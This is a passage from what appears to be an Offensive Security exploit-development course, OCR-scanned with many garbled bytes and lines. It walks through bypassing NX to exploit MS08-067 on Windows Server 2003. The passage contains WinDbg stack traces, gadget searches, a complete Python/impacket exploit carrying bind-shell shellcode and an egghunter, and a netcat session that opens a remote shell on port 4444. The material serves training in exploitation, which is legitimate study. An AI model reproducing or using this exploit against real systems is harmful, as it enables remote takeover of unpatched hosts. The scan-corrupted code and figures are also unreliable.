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ase Study: Returni

We must now worry about regaining the execution flow by returning into our controlled buffer. Let’s
analyze the function epilogue and the cpu registers to see what is about to happen:

POP EST -> ESE is incremented by 0Ox4 ESP = 012d4df4BB cceoceoocooo
LEAVE -> mov esp, ebp —> ESP = EEP = EDI = 012dfis4 5¢c 00 41 41

pop ebp => ESP = 012df464 + Oxd = 012dfde8 41 41 41 41
RETN 4 -> EIP = 012df468 = 41 41 41 41

ESP = ESP + Ox8 = 0124f470 24 £5 83 7c

ntdll!NtSetinformationProcess arguments on the stack

Offset: igbgg,_—,pelp Previous f Mest | Wirkusk: {esp o “  Prencus g
7c8343b9 0£8553b10000 ine ntdll 1 LdrpCheckNEConpatibility+dx2b {7c83£517 2%{&%:%?01'.1&81 and 5’;&};“_'_} Hext i
3 56 push esi :

; eddcs10000 call ntdll ! LdrpChecklzincompatibleDliSection (783 1 L=t
7 d.ﬂiwr‘? 24cl test al. al 8iclf 488 cooccooce
7c8343c7 0f851£0e0100 jne ntdll | LdrpCheckNEConpatibility+Dxde (7c845isc (01clidSc coocoooo

837dfco cup dvard ptr [ebp—4] 0 01c1£490 cco

llszC4‘er|n|||n j nmlllmm eckHECompatibility+0xdb (FcB3file (01c1£4584

& 37 b

37h)] #0h Dlclit4%8
01clf4%c
0lc1f4a0

c20400 Dlclfdad

B4allannnaan eax deord ptr fs [<(Unloasded_SG DLL:+0x17 (000 01':}:_4'38 L

aba030 eax. dvord ptr [eax+i0h] Oiclfdac .
”b"ﬁﬂr edi deord ptr [eax+0Ch] 01e1fdbi QQJE‘T]Q@_U <Unloaded_SG. DLL:+

Bic71c add edi. 1Ch Oleif4bd 002005 Unloaded SG DLL:+"

897dac meow dword pty [ebp-54h], =di1 01c1f4bg 005002 <Unloaded_SG DIL:+ =
5] 2l S 7
e ~ nD,Col0 SysOiclocsl> (Proc DODided Thrdoioasd Lo oo | HUM

Figure 18: Stack frame layout in LdrpCheckNxCompatibility epilogue (before POP ESl)

P:evious( !

es1 Display fomat: [E—"—_;ln*er and ‘:3‘,'1111:."-:]_ Hex

7c8343cl eBdoSi0000 call ntdll | LdrpCheckizIncompatibleD] lSection (7c83

TcB34328 Edcl best al. al 0121f 488 coocooeo ]

ToB343c? {851 0e0100 ine ntdll ! LdrpChec patibility+0ude (7c8451ec (0lclidbc

7c8343cd B374€clO omp dword ptr [e 1] 101clf490

TocB343dl Of8547h10000 e ntdll ! LdrpCheckHiCompatibility+ixdb (7cB3fSie 101clf494

708343d7 80423780 or byte ptr [=si+37h] B0k 01c1f498

7cB343 esi

F=

=] 20400 4

7c8343e0 64a118000000 nowv eax. dword ptr fs [<Unlosded SG DLL>+0x17 (000

TeB343e4 8b4030 0o max deword ptr [esx+36h] oC . L

7834329 Bh7E0c mow ed1 dword ptr [eaz+lCh] |”]F1E 4b0 l}fiJSGM 0 < lnleaded 5 [_'LI, +

7cB8343ec 83cT1c add ed1, 1Ch Olclfd4bd4 002e005c <Unloaded SG DLL»+ |

7cB8343ef B97dac T dword ptr [ebp-54h]. eda l“]l 1£4b8 005c002e <Unloadsd SG DLL»+"

JcB343E2 8hL37 mow esi dword ptr [edi] 01elfdbe 41414141 _:'I

| sl | s
nD, ColD Sys0:<local> Proc 000:ded Thed 019:a30 T

Figure 19: Stack frame layout in LdrpCheckNxCompatibility epilogue (before LEAVE)
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| New

ntdll ' LdrpChecklglnconpatiblell 1Sec
al.al

ntdll ! LdrpCheckNiConpatibility+0x3e (7cB4blec
dword ptr [ebp-4]1.0

ntdll ! LdrplheckNiCompatibilitv+0xdbh (7cB83f51le
byte ptr [esi+37h] 80h

2 tion {7cB3
84ch

0f851E0e0100
837dfcOl

c20400

o el 643118000000 eax dvord ptr fs [<Unloaded SG DIL>+0x17 (000
7cB343=6 2h4030 My eax dword ptr [eaz+30h)
Jociidied 8780 noy edl dword prr [eax+0Ch]
7cB343ec 83c71c add edi, 1Ch
7edlddef 897dac BOW dword ptr [ebp-54h] edi1
7c8343£2 8b37 ROV esi dword ptr [edi]
?58313f4 8975bc ®OY devord ptr [ebp-44h] es1 ;
‘

Dispiay form,

01c1E47
D1clt478
0lclfd7c
Dlclf4an
OlclfdBd
llcif4as
Olcifdic
Dlelf490
Dlelfd494
01c1£498
01clE49c
4

el Memery =Bl
§ wnu&:iee;- :

'gpclnner and 5?35211'

Previoi

Nest

Tadb
7c83f52d
FLEEELEE
gooogozz
0lclfdel
ooooooo4
CCCCCCoT
COCCCOoC
= e
COCOOTes
coooooes
==l
CCCCCCCC

ntdll ! ZeSetInforma™ |
ntdll ! LdrpCheckiC

‘Uinloaded_SG DLL:+
<Unloaded_SG.DLL>+
{Unloaded_SG.DLL:+

i »

n, Col0 SysOi<lacal> ProcO00:ded Thed019:430

Figure 20: Stack frame layout in LdrpCheckNxCompatibility epilogue (before RETN 0x4)

41414142
41414143 7
41414144 27
41414145 77
41414148 7
41414147 27
41414148
41414143 7
4l41414a 77
41414140
4141414c 77
4141414d 77
4141414e 27
41414148 77
41414150 7

Olecif478
0lecifd?c
Ulcli4a0
Dilclfdad
Dlclf488
Olclf4ic

Olcliq494
01c1£498
01clifid9c
Dlclifdal
flelfdad

<

01cl€490 o©

tiffffef
oooonnzz2
Olclfdbl
oooooond
CCLOoonE
COCCoooo

L
CCCCCCCC
CCCCCCCC
COCCCCCC
[ ol

Pointer ana Syabe >

| ntdlliLdrpCheckNEC s

Mt

¢Hnlvaded SG DLL»+
<Unloaded 56 DLL:+
nloaded S& DLL -+

[lno, Cal0 Sysn:<local> Proc DOOided 'Thed 019:a30 |2

Figure 21: Stack frame layout in LdrpCheckNxCompatibility epilogue (after RETN 0x4)

We own EIP - however none of our registers seem to point to a usable buffer chunk. Checking deeply,
we can see that £SP points to Ox7c83f52d ...that looks familiar! Let’s take a look at the part of the stack
frame pointed by EBP just before and after the call to the ntdll!ZwSetinformationProcess procedure:

Before ntdll!ZwSetInformationProcess call

012df464 5¢ 0D 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0124F474 41 41 41 41 64 f4 24 01 17 £5 €3 7¢ cc cec co oo

After ntdll!ZwSetInformationProcess call:
012dfd464 5¢ 00 41 41 41 41 41 41 4b 7a B2 7c 24 £5 83 Te
012df£474 £f £f £f £f 22 00 00 00 60 £4 24 01 04 00 00 00

0:015> u TecB27adb
ntdll!ZwSetInformationProcess+0xc:
7cB27a4b ¢21000 ret 10h
TcB27ade 90 nop

52
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0:015> u 7eB3f52d4
ntdll!LdrpCheckNXCompatibility+0x5a:
7cB3f52d ef9abdeffff Jmp ntdll!LdrpCheckNXCompatibility+0x5a (7c834347)

Stack Frame before and after ntdllINtSetInformationProcess Call

The 0x7c83f52d and 0x7c827a4b addresses that we see overwriting part of our “\x41” 18 Bytes buffer,
are respectively the LdrpCheckNXCompatibility return address and the ZwSetInformationProcess return
address: when a subroutine calls another procedure, the caller pushes the return address onto the

stack, and once finished, the called subroutine pops the return address off the stack and transfers
control to that address™,

virtual: {e=p ~ Previous g Wirtual: |esp-8 Previous !

Display Format: ! Pointer and Svm }:"Ll

el ] Display format: [Pointer and Symbiv]|  MNet |
ﬁ[ﬁm ntdll | LdrpCheckNECia| T -
1c1fd74 fEE££££F O0lclfdéc 7c827adb titdlliZwSetInforna
01c1£478 00000022 <Unloaded SG . DLL>+ 01c1£470 7cB3f52d ntdll!LdrpCheckNEC
Ulclfd7c 01clidel <Unloaded SGC DLL:+ 01c1f474 fEFEFFFEE
01lclfd8l 00000004 <Unloaded SC DLL>+ 01cif478 00000022 <Unloaded_SG. DLL>+
Dlclidbd 01clfd?c 01clfd46l <Unloaded SG DLL>+
N1clfdies 01c1£480 00000004 <Unloaded SG. DLL:>+
';licflf.‘igﬁ 01c1f484 cooooooo
01c1£490 01c1f488 ccoccoce
d1clf494 Olclfd48c cococcoooo
1lclf498 : - 01c1£490 cocoooos
{iclf49c coooceeo 01cl1f494 coccococoo
0lclf4al cccococco = 01c1£498 cocococococo o
(iclfdad ccooccooeo _"_'_] 01lclf49c ceococococoo :j
1 { | Ll L {! ; .,Ll

Figure 22: ESP-0x8 points once again to a controlled DWORD

So what can we do now? If'‘we could find a way to avoid those 8 bytes to be overwritten, we would have -
ESP pointing to a controlled buffer chunk! A “pop r32;retn” opcode sequence should increment the ESP
register by 8 bytes, and should make the trick! Let’s search for it in ntdll memory space using Windbg:

root@bt ~/framework-3.2 # tools/nasm shell.rb

nasm > pop ebp

00000000 5D pop ebp

0:050> 1dlls -c ntdll
Dump dll containing 0x7c800000:

0x00081£08: C:\WINDOWS\system32\ntdll.dll

Base
Flags

0x7c800000 EntryPoint
0x80004004 LoadCount

0x00000000
Ox0000Lfff TlsIndex

Size

0x000c0000
0x00000000

13htl:p:,?',:’en‘\.\tfikiy:nedia.or,&z,h.'\riki;’CaIt stack
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LDRE_IMAGE DLL
LDRP_ENTRY PROCESSED

0:050> s 0x7c800000 L0000 5d 3

TcBUL9EB 5d ¢33 3b fO OF B5 bE 2f-0b D0 e9 ek ZE 0500 33 )

T7c801a57 5d c3 Bb cf 49 49 74 20-83 e9 06 Of 84 75 2d 05 ] 5
7c805823 54 c3 0f be 58 Of b6 Bb-1lc Ha 66 BY 59 le &9 7d ]...X.F..Zf.¥..}
7c80807d 5d ¢3 90 00 ce cc cc cec-co 83 e8 69 Of 84 ab £f ]

70809475 5d c3 Of b7 45 08 51 50-eB8 09 0D 00 00 59 59 54 ]

TeBO9484 5d c3 90 90 90 90 90 8b—-ff 55 Bb ec Bb 45 O B3 1........ 3 e el
L..:3

0:050> t!address 7cB09484
TeB00000 : TcB01000 - 00086000
Type 01000000 MEM IMAGE
Protect 00000020 PAGE EXECUTE READ
State 00001000 MEM COMMIT
Usage RegionUsageImage
FullPath C:\WINDOWS\system32Z\ntdll.dll

Searching for POP EBP, RETN

! (bf? E{ ,P
We found more than one match and, once again, we are ready to change our exploit stub buffer to
match the following:

stub= '\x0L\x00\x00\z00"
stub+='\x10\x200\x00\x00"
stub+="A\x00\x00\x00\x00"
stub+="\x10\z00\x00\=00"'
stubt="\x43'*28
stub+="\x00\x00\x00\z00"
stub+="'\x2£f\x00\x00\=00"
stub+="\x00\x00\x00\x00" Offset

stub+="'\x2f\x00\x00\x00" Bctual Count
stub+="\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00* #PATH
stub+4="%\x41'*18 # Padding

stub+='\x84\x94\x80\x7c" # 0x7c809484 pop ebp:retn —~ 5['/"

Reference 1D

Max Count

Offset

Actual count

Server Unc

UNC Traller Padding
Max Count

de o ook W S SR 3R S o

4y1rtufilﬁh

stub+='\xFE\xFF\xFF\xFF""' # junk to be popped
stub+="\xa2\x83\xe0\x77" # O0x77e083a2 push edi;pop ebp;ratn Oxd »
stub+="'\x17\xf 83\xTec’ # O0x7c83f517 mov dword ptr [ebp-4],2
stub+='\xCC'1g§ij # Fake Shellcode

stub+="\x00\x00"

stub+="'\x00\x00\x00\x00" # Padding

stub+="\x02\x00\x00\x00" # Max Buf

stub+="\x02\x00\=x00\=00" # Max Count

stub+="\x00\x00\x00\x00" # Offset

stub+="\x02\x00\x00\x00" # Actual Count
stub+="\x5c\x00\x00\x00" # Prefix

stub+="\x01\x00\x00\x00" # Pointer to pathtype
stub+="\x01\x00\x00\x00" # Path type and flags.

NX_STUB_0x04 stub buffer
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Let's set up a breakpoint on our new return address and run the above exploit:

0:050> bp 0x7cB09484

0:050> bl

0 e TcBO9484 0001 (0001) D:**** ntdll!fputwc+0x29
0:050> g

root@bt # ./NX STUB Ox4.py 10.150.0.194

FREAFR A A A A A A A b b A A Rk kb kbbb bbb kb bk bk kb kb kb ek ko kb

& koo ok ok kR ok MSOB_.GT W1n2k3 sz RS T RS S S S
bR e e pffensive-security.com HRF R AR S
khE Ak h kA kR ryujin&muta ——— 11/30/2008 khbkkkhkk ik E

e e e ok e ke e de de e dhedk g e e e e e e e o e e e e e e e e e ok e e ke e o e gk e e ok e ol e ke ol ke e ok e e e e

Firing payload...

Breakpoint 0 hit
eax=ffffffff ebx=010c005c ecx=010cfib2 edz=010cf508 esi=010cfibs edi=010cf464

eip=7cB809484 esp=010cfi7c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b 8s=0023 ds=0023 es=0023 £s=003b gs=0000 ef1=000002486
ntdll [ fputwet+0x29:

7cB809484 5d pop ebp

NX_STUB_0x04 session

70809485 3 ret
7c809486 90 nap
7c809487 30 Ny
7cB09488 90 nop
7809489 90 nop
JcBlv4Ba 90 nop

ntdll!_flswbuf

FullPath & SWIHDOUS systend2intdll 411

0,050 bp O0x7c809484
0 050> bl

0 = 7cBl9464 0001 (0001) 0 wxxx ntdll!lfputwc+i=zz9
0:050> g

Breakpoint 00 hat
cax=ffffffff ebx=010c005c ecx=010cf4b? edx=010cf508 e=s1=010cfdbb edi=010ctfdbd

ei1p=7cilf484 ezp=010cfdi?c ebp=41414141 1opl=0 nv up =1 pl zr na pe nc
ce=001bh s==0023 ds=0023 es=0023 {s=003b gs=0000 ef 1=00000246
ntdll ! fputwe+l=z29:

7809484 &d oo ebp

Figure 23: Breakpoint hit
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_______________________________ Dy fﬂmiPmmr and 7] ﬁfﬁ“ii_i

iy

010ctd7c
010cf480
010cf484
010cf488
010ctdBe
010cf430
010cf494
010c=£498
010cf49c
010ctdal
010cfdad
010cfdad
010cfdac

OiN-L AL

<

FEFETEET
77e2083a2
7oB3£517
i et
CoCCoone
CoCoCCoC
P e
cCccocceo
CCCCCCoT
CCCCCcCCo
cocoocooos
CCCOCoeT

CCoCCoCT
Ot Banon

NTHARTA ! CKernelContext : GetKernelPropert: |
ntdll | LdrpCheckNECompatibility+0x2hb

Figure 24: Stack frame ready for exploitation

.
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Now we proceed (stepping over) until the “retn 0x4” (end of function epilogue) is reached in
LdrpCheckNXCompatibility to check if the “pop ebp; retn” trick will give the expected effect:

eax=00000000 ebx=010c005¢c ecx=010cf474 edx=7cB8285ec esi=cccccccc edi=010cfied

eip=Tc8343dd esp=010cfd68 ebp=4141005¢c iopl=0 IV Up €1 ng Nz na peé nc
cs=001k s55=0023 ds=0023 es=0023 £s=003b gs=0000 efl=000002886
ntdll ! LdrpCheckNXCompatibility+0x60:

7cB343dd c20400 ret 4

ESP -> 010cf468 41414141
010cfd6c 41414141
010cfd470 41414141
010cf474 7cB27ad4b ntdll!ZwSetInformationProcess+0xc

010c£478 7c83£52d ntdll!LdrpCheckNXCompatibility+0x5a
010cfdTc EEEFEFFE

010c£f480 00000022
010cf484 010cf460
010cf488 00000004
010cfd8c cececceee

NX_STUB_0x04 session

s dseein .
Offeat: i@ SCOpE1D Frevious 1
7c8343c0 e28dcs510000 call ntdlltLdrpChecklzInconpatibleDllSection (7c83%95al)
7c8343ct B4ch test al. al

7cB343c? 0£851£0=0100 ine ntdll {LdrpCheckliConpatibility+izie (7c8481ec)
7c8343cd 837dfc00 cup dword ptr [=bp-4].0

7ec8343d1 0£8547b10000 ine ntdil'idrgfhﬁakNAuompat1bl11f"+Uy4h {7c83f51e)
7cB343d7 BO4e3780 oY byte ptr [e=i1+37h].80h

7¢:8343db e pop esl

7c8343dc Lﬁ leave

7c8343el 645119UBDDDD now eax dword ptr fs:[00000018h]

7cB343e6 0b4030 WO eax_dword ptr [eax+30h]

7cB343e% 8h780c Mo edi . dword ptr [ea=+0Ch]

7c8343ec 83cT1c add edl . 1Ch

7c8343ef 897dac M dword ptr [ebp-54h] eda

FcB343£2 Bb37 M esi dword ptr [edi]

7834314 8975hbe mOV dword ptr [ebp-44h] es1

=010cf474 edx=7c6285ec esi=coocooce edi=010cf464

:=010cl0%c scx

elp=7cB347 =p=010cf490 ebp=010cfisd 1opl=0 nYv up 21 ng nT ha pe no

cs=001b s5=0023 d==0023 e=s=0023 {==003b gs=0000 =f 1=00000286

ntdll! LdrpCheckHEConpatibility+0x5f

TocB3dide o leawe

0.034>

Eax= Qﬂﬁﬂﬂﬂ&ﬁ ebx=010005c ecx=010cf474 edx=7ci285ec esi1=ccocccococ edi=010cf4hd

=010cf468 =bp=4141005%c 1opl=0 nv up 21 ng Rz ha pe nc

===0023 d=a=0023 e==0023 f=s=003b g==0000 ef1=00000288

nfdlllldip'hHanh ompatibility+0=x6l:

Tc6343dd c20400 ret 4

Figure 25: Returning into the buffer from LdrpCheckNxCompatibility epilogue
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edi lozfded

ezl CCCooCooo

=he 10c0bbc

edx 7eB8288ec

ecE 10cf474

eax 0

cE 1hb

~f 1 2Rk

<]

Yirtual: lesp . Display format: in:uinter and :_}

Mest

010cf468 41414141

D1l0cfdbc 41414141

010cE470 41414141

010cf474 7cB827ad4b ntdll ! ZwSet Informat ionFProcess+0=c
010cf478 7cB83f52d ntdll ! LdrpCheckNEiCompatibility+0zrta
010cfd7c ££E£££1£F

010cf480 QoQOQO22

010cf484 D10cf4kD

010cf488 00000004

010cfd48c coccoooo

010cfd490 cococooo

010cf494 coccoooo

NMN~f498 rrereeee

Figure 26: Stack frame before returning into the controlled buffer
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And executing retn Ox4 we obtain:

0:034> p

eax=00000000 ebx=010c005c ecx=010cfd74 edx=7cB8285ec esi=ccccccce edi=010cfd64d
eip=41414141 esp=010cf470 ebp=4141005c iopli=0 nv up ei ng nz na pe nc
cs5=001b ss5=0023 ds=0023 es5=0023 {s=003b gs=0000 ef1=00000286
41414141 22 i)

ESP —> 0100f470 41414141 > mmm e o e s e e e e e e e e e i |
010cfd74 7cB827a4b ntdll!ZwSetInformationProcess+ixc
010cfd78 7cB83f52d ntdll!LdrpChecklNXCompatibility+0x5a
01Q0cfdc LfFELLLE
010c£f480 00000022
010cf484 010cf460
010cf488 00000004
010cfd8c ccoocecoo
010cfd90 COCCOOOE Smmmmmm i e e e e o e e e e e |

0x20
bytes

NX_STUB_0x04 session, stack frame after LdrpCheckNxCompatibility epilogue

Yes! Once again we own EIP but now, ESP points to a buffer chunk under our control (0x010cf470 41 41

41 41). We can now substitute the 0x41414141 at 0x010cf468 with a JMP ESP address that we can find
in memory.

We will now insert a SHORT JMP instruction at Ox010cf470 (ESP) so that after the JMP ESP, we will land
inside the first part of our payload (egghunter).

root@bt ~/framework-3.Z # tools/nasm shell.rb
nasm > jmp esp

00000000 FFE4 Jmp esp

nasm >

0:034> s Ox7cB00000 LecOO00 ff ed
Todbatib ff el OFf 86 ¢ fa 9F €67 00 S0 00 9u 00 8 £F .o olil.
7c887713 ff e4 04 00 00 1c 00 fb-7f 00 00 00 00 00 0O 0O

Searching for JMP ESP address

In the following exploit, we have introduced shellcode and an egghunter that will be executed after the
JMP ESP and the SHORT JMP. Please refer to Module 0x01 for more details about adjusting the shellcode
size in the MS08-067 exploit:

#! /usr/bin/python

from impacket import smb

from impacket import uuid

from impacket.dcerpc import dcerpc
from impacket.dcerpc import transport
import sys

Print Mkkkdk kR sk r s p Rk kR ke kR Rk kA Ak ARk kdkk ke kR Rk
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pa iUl TEERXFEFEFE  NGO8-67 WinZk3 SP2 NX BYPASS | FRFRREREAERN

TETnL DECER AR offensive-security.com s D
printMExfes ikt ryujinémuts --- 12/08/2008 EbER B i kLRl
Print LR RS S sttt sttt sttt d iR R R SRR AR RS AR SR EREEEEE ST S
try:

target = sys.argvil]

port = 445

except IndexError:
print "Usage: %s HOST" % sys.argv[0]
sys.exit ()

trans = transport.DCERPCTransportFactory('ncacn np:%s[\\pipe\\browser]'%target)
trans.connect ()
dce = trans.DCERPC class(trans)

dee.bind{uuid.uuidtup to bin(('4b324fcE-1670-01d3-1278-5a47bf6eecl88', '3.0%))}

# /*

# * windows/shell bind tcp - 317 bytes

# * http://www.metasploit.com

# * EXITFUNC=thread, LPORT=4444, RHOST=

# */

shellcode = (
"\xfc\x6a\xeb\x4d\xe8\xfI\xEfL\xEL\xFF\x60\x8b\x6c\x24\x24\x8b"
"\ x45\x3c\x8b\xTc\x05\x78\x01\xef\x8b\x4 £\x18\x8b\x5f\x20\x01"
"\ xab\x49\x8b\x34\x8b\x01\xee\x31\xc0\ x99 \xac\xB4 \xc0\x 74 \x07"
"\xcl\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f"
"\%24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f \x1c\x01\xeb\x03\x2c\x8b"
"\ x89\x6c\x24 \x1c\x61\xc3\x31\xdb\x64\x8b\x43\x30\xBb\x40\x0c"
"\x8b\x70\x1lc\xad\x8b\x40\x08\x5e\x68\xBe\xd4e\x0e\xac\x50\x££"
"\xd6\x66\x53\x66\x68\x33\x32\x68\x77\x73\x32\x5F\x54 \xf£\xd0"
"\x68\xcb\xed\xfo\x3b\x50\xff\xd6\x5f\x89\xe5\x66\x81 \xed\x08"
"\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09\x£5\xad\x57\ x££ \xd6\x53"
"\x53\x53\x53\x53\x43\x53\x43\x53\ x££ \xd0\x66\x68\x11\x5c\x66"
"\x53\x89\xel\x95\x68\xad\x1la\x70\xcT\x57\xff\xd6\x6a\x10\x51"
"\x55\xfE\xd0\x68\xad\xad\x2e\xe9\x57\xFf\xd6\x53\x55\xFf\xdo"
"\x68\xe5\x49\x86\x49\x57 \xff\xd6\x50\x54\x54 \x55\xFf\xd0\x93"
"\x68\xeT\x79\xc6\x79\x57 \ x££ \xd6\x55 \x£F\xd0\x66\x6a\x64\x66"
"\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\xB89\xa7\x6a\x44\x89"
"\xe2\x31\xcO0\xf3\xaa\xfe\xd2\x2d\xfe\x42\x2c\x93\xBd\x7a\x38"
"\xab\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44 \xf£\xd6\x5b\x57"
"\x52\x51\x51\x51\x6a\x01\x51\x51\x55\x51 \xf£\xd0\x68\xad\xdo"
"\x05\xce\x53\xff\xd6\x6a\x £ \xEF\x37\xfF\xd0\x8b\x57\xfc\x83"
"\ xcd\x64\xff\xd6\x52\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6"
“\xff\xd.O" ]

stub= '\x01\x00\x00\x00' # Reference ID
stub+="'\xac\x00\x00\x00" # Max Count
stub+="'\x00\x00\z00\=x00" # Offset
stub+="\xac\x00\x00\x00"' # Actual count

Zk Server Unc -> Length in Bytes = (Max Count*2) - 4
# NOP + PATTERN + SHELLCODE (15+8+317)= 340 => Max Count = 172 (Oxac)
stub+="n00bno0b' + '\x90'*15 + shellcode # Server Unc
stub+="'\x00\x00\x00\=00"' # UNC Trailer Padding
stub+='\x2f\x00\=x00\x00" 4 Max Count
stub+="\=z00\x00\x00\=00" # Offset
stub+="\=22f\x00\=x00\x00" # Actual Count

»ftub+='\xél\xO0\x5c\XOD\x2e\xOO\x2e\x0G\x5c\XCG\x2e\xi§\xie\xﬁ$&;ﬁc\xoo' # PATH (¥%
[ # Pain starting... :) NX BYPASS pis @9? ﬁ:f‘b
7 | stub+='\x41\x41" # PADDING
lo stub+="\x1B\xA0\x86\x7C"' # Ox7cB86a01b JMP ESP {(ntdll)
¢ o | stubd='\x41\x41\2x41\x41" # PADDING
{* stub+=' \XEB\x1C\x50\=x90" # SJIMP TO ECGHUNTER Oxlc bytes = (0Ox20 - Oxd)
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stub+="\x41 \=x41\x41\x41"
stubt="\x84\ %94 \xB0\x7C"'
stubt="'\XFE\XFF\xFF\xFF"'
stub+="\xR2\xB3\xE0\x77 "

PADDING /‘; 4
RET -> 0x7C809484 POP EBP RETN (ntdll .text) @NCCC~[N

JUNKE TO BE POPPED

0x77E083A2 PUSE EDI,POP EBP,RETN Oxd

Hk delie g ok 9 NE ok o

(NTMARTA . text) /j
stub+='\x17\xf5\x83\x7c" 0x7CB3F517 MOV DWORD PTR SS:[EBP-4],0x2 _% ﬁJf(/ {a
S Sl __# ntdlliLdrpCheckNXCompatibility __f,»ﬂp r1159k
ub+=* \x290\x90\x90\x30 " NOPS TO EGGHUNTER }-"k ln Glr Su-/L
stub+=' \x90\x90\x20\x90" NOPS TCO EGGHUNTER

# EGGHUNTER 32 Bytes

egghunter ='\x33\xD2\x90\x90\x90\x42\x52\x6a"
egghunter+='\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter+='\x£f4\xb8\x6e\x30\x30\x62\x8b\xfa’
egghunter+='\xaf\x75\xea\xaf\x75\xe7\xff\xe7"’

stub+= egghunter

stub+="\x00\x00"

stub+="'\x00%\x00\=z00\x00" # Padding
stub+="'\x02\z00\x00\x00" 4 Max Buf
stub+="\x02\=200\=x00\=00" # Max Count
stub+="\x00\x00\x00\x00"* # Offset
stub+="\x02\x00\x00\x00" # Actual Count
stub+="'\x5c\x00\x00\x00" ¥ Prefix
stub+="'\x01\z00\x00\=x00"' # Pointer to pathtype
stub+="'\x201\x00\=00\=00" # Path type and flags.

print "Firing payload..."
dee.call {0x1f, stub) #0x1f (or 31)- NetPathCanonicalize Operation
print "Done! Check your shell on port 4444"

Final Exploit Source Code

s A<

/75./77

Let's set a breakpoint on the JMP ESP address and execute the final exploit:

Setting a breakpoint on JMP ESP in Windbg:
0:017> bp 0x7c86allb
0:017> g

Firing the exploit:

root@bt # ./NX EXPLOIT.py 10.150.0.194
dhkkhkdhhkhhhhhkhhkhhhhhhhh bk kkhkkrhkhkhkkdkhhkhkkhkhhkhhhhkhkhkhkk
khkkkkhkhhk MSO0B-67 Win2?k3 SP? NX BYPASS khkhkkkkhhkkk
Fhkhkkkhhkk offensive-security.com kkkkhkhkkkk®
*kkhokkhkhk ryujinsmuts --- 12/08/2008 Tk kkkkkkx
hhkkhkhkhkhkhhkhhhhhkhkhhkhhhhhhhdhhhhhhhhkddkdhkhdkdhhhdkhhkhhdhhbhikhi
Firing payload...

Done! Check your shell on port 4444

in WinDbg our breakpoint has been hit
Breakpoint 0 hit
eax=00000000 ebzx=00cB005c ecx=00cBfd474 edx=TcBZB5ec esi=309%0905%0 edi=00cB8f464

eip=7cB6allb esp=00cBf470 ebp=4141005¢ iopl=0 OV Up ei ng nz na po nc
cs=001b ss=0023 ds=0023 es=0023 £5=003b gs=0000 efl=00000282
ntdll!RtlpIntegerWChars+0x17:

T7c86a0lb ffed jmp esp {00cBE470}

61 © All rights reserved to Offensive Security, 2009




Let's step oveé:

0:010> p

eax=00000000 ebx=00cB005c ecx=00cBf474 edx=7cB2B5ec esi=90902090 edi=00cBfd64
eip=00c8£470 esp=00cBf470 ebp=4141005¢c iopl=0 nv up ei ng nz na po nc
cs=001b ss5=0023 ds=0023 es=0023 £fs=003b gs=0000 efl1=00000282
00cBf470 eblc Jmp 00c8f48e

Short Jump reached, let's execute it:

0:010> p

eax=00000000 ebx=00cBO05c ecx=00c8f474 edx=T7cB2BSec esi=30909090 edi=00cBfd64
eip=00cBfdBe esp=00cBfd70 ebp=4141005c iopl=0 nv up €i ng nz na po nc
cs=001b ss5=0023 ds=0023 es=0023 £5=003b gs=0000 efl=00000282

NOFP SLED reached. We let the egghunter doing its job:
00c8f48e 90 nop
0:010> g

Final Exploit Session

0ﬁseh!@$&copeip

Ho prior disassembly possible

00021918

000a1919 80 nop

000al191a 90 nop

000a191b 90 nop

000al191c 90 nop

000a191d 90 nop

000al%le 380 nop

000al1%91f 90 nop

00Dal1920 90 nop

000a1%21 90 nop

000s1922 90 nop

00021923 90 nop

000al1924 90 nop

000s1925% 90 nop

000al92e 30 nop

000a1%27 fc cld

00021928 baeb puzh OFFFFFFEEQ

000a192a 44 dec ehp

NNMNa192" =RfAfFffff all NNs19%9

cs=001b ===0023 d==0023 es=0023 §s=003b gs=0000 efl=
Oc8idaes ffe7 M edi {000a1918%

0:010> p

eax=6230306e ebx=00cB8005c ecx=00cB8idfc edx=000a1910 ==1=909090530 =d1=000a1918
eip=000a1918 esp=00c8£470 =bp=4141005c 1o0pl=0 nv up 21 pl zr na pe nc
ce==001b ===0023 d==0022 e==0023 {f==003b gs==0000 =f 1=00000246
000a1918 490 nop

Figure 27: Soft landing at the beginning of our shellcode
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Once again we've obtained our remote shell on port 44441

root@bt # nc 10.150.0.194 4444
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C: \WINDOWS\system32>

1) Repeat the required steps in order to return into the controlled buffer and obtain a remote shell on
the vulnerable server.

In this module we have successfully exploited the MS08-067 in a real world scenario, where hardware
NX was enabled on the target server. These types of protections are very effective in mitigating software
exploitation, and raise the bar needed to compromise the vulnerability. However, as we have seen in
this module, under certain circumstances and conditions, these protections can be overcome,
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Module 0x03 Custom Shellcode Creation

[ b f1hvaiacti 3
tecd il WAL S

* Understanding shellcode concepts
* Creating Windows "handmade" universal shellcode

Overview

"Shellcode" is a set of CPU instructions to be executed after successful exploitation of a vulnerability.
The term shellcode originally was the portion of an exploit used to spawn a root shell, but it’s important
to understand that we can use shellcode in much more complex ways, as we will discuss in this module.

Shellcode is used to directly manipulate CPU registers and call system functions to obtain the desired
result, so it is written in assembler and translated into hexadecimal opcodes.

Writing universal and reliable shellcode, especially on the Windows platform, can be tricky and requires
some low level knowledge of the operating system; this is why it's sometimes considered a black art™,

Mh‘ct;:1:,r‘j't=:n.\.'\.riki;:uédi::w.org,"u'\.fild,r’shelicodr—:
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Syscalls are a powerful set of functions which interface user space to protected kernel space, allowing
you to access operating system low level functions used for 1/O, thread synchronization, socket

management and so on. Practically, Syscalls allow user applications to directly access the kernel keeping
them from compromising the 0S*.

A Shellcode’s intent is to make an exploited applications behave in a manner other than what was
intended by the coders. One way of doing this is to hijack a program execution flow while running
shellcode and force it to make a system call. On Windows, the Native APl is equivalent to the system call
interface on a UNIX operating systems. The Native API is provided to user mode applications by the
NTDLL.DLL Iibraryls. However, while on most UNIX OS', the system call interface is well documented and
generally available for user applications, in the Native API, it is hidden from behind higher level APIs
